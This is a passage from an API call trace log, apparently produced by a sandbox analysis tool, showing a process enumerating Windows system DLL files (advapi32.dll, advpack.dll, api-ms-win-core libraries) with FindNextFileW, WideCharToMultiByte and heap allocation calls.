13 [0024.045] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0xddc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0024.046] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.046] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.046] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.046] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.046] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.046] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0024.046] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.046] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.046] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.046] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.046] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.046] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.046] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.046] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.046] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0024.046] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.046] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.046] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.046] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.046] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.046] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.046] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.046] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.046] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0024.046] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.046] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.046] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.046] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.047] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0024.047] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.047] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.047] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.047] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.047] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0024.047] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.047] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.047] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.047] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.047] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0024.047] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.047] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.047] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.047] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.047] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.048] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.048] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0024.048] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.048] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.048] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.048] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.048] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.048] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.048] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.048] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.048] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0024.048] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.048] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0024.048] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0xddc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0024.048] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.048] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.048] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.048] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.048] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.048] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.048] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.048] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0024.048] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xddc288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0024.048] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.048] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.048] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.048] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.048] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.049] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.049] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.049] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0024.049] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xddc120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0024.049] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.049] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.049] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.049] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.049] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.049] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.049] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.049] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0024.049] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xddc288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0024.049] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.049] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.049] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.049] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.049] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.049] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.049] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.049] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0024.049] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xddc120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0024.049] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.049] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.049] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.049] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.049] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.049] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.049] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.050] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0024.050] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xddc288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0024.050] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.050] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.050] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, 